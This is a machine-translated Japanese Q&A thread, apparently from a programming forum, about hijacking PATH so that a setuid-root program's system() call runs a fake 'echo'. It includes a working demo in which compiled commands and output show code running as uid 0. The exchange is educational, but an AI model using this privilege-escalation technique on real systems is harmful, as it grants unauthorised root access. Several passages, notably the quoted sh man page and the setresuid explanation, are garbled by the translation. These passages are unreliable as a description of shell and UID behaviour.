あなたはecho
のカスタムバージョンでディレクトリを指すようにPATH
変数をオーバーライドすることができますし、echo
がenv
を使用して実行されているので、それがビルトインとして扱われません。
これは、コードが特権ユーザーとして実行されている場合にのみ脆弱性を構成します。
以下の例では、ファイルv.cに質問のコードが含まれています。
$ cat echo.c
#include <stdio.h>
#include <unistd.h>
int main() {
printf("Code run as uid=%d\n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ sudo chown root v
$ sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x 1 user group 8752 Nov 29 01:55 echo
-rw-r--r-- 1 user group 99 Nov 29 01:54 echo.c
-rwsr-sr-x 1 root group 8896 Nov 29 01:55 v
-rw-r--r-- 1 user group 279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$
。なお、実ユーザID、実効ユーザIDの設定と疑問に投稿された脆弱なコードでsystem()
への呼び出しの前にsetresuid()
への呼び出しによって設定されたユーザIDを保存は、1つの脆弱性を悪用することができます有効なユーザーIDだけが特権ユーザーIDに設定され、実際のユーザーIDが特権を持たないままであっても(上記のようにファイルのset-user-IDビットに頼っている場合など) setresuid()
への呼び出しがなければ、system()
で実行されるシェルは、実効ユーザーIDを実ユーザーIDに戻して、その悪用を無効にします。ただし、脆弱なコードが特権ユーザーの実ユーザーIDで実行されている場合は、system()
だけで十分です。 sh
manページ引用:
をシェルは実効ユーザー(グループ)実ユーザ (グループ)IDと等しくないIDで開始され、かつ-pオプションが提供されていない場合、起動ファイルは ありませんシェル関数が環境から継承されていない場合、SHELLOPTS変数は、 が環境にある場合は無視され、実効ユーザーIDは idが実ユーザーIDに設定されます。起動時に-pオプションが指定されている場合、起動時の の動作は同じですが、有効なユーザIDはリセットされません。
また、setresuid()
はポータブルではなく、setuid()
又はsetreuid()
も同じ効果に使用されてもよいことに留意されたいです。
なぜこれにより任意のコードが実行されると思いますか? –
まあ、正直言って私はそれを盲目の信仰に取ります。私はセキュリティーの学生ですが、私は脆弱なコードを見ていましたが、これを見ましたが、この本ではこの特定の例は説明していません。 – quantumdisaster
おそらくあなたはシステムコールを参照していますか?これに関する専門家ではありませんが、それは遠慮なく私に尋ねる唯一のものです。バッファオーバーランなどの問題はありません。 –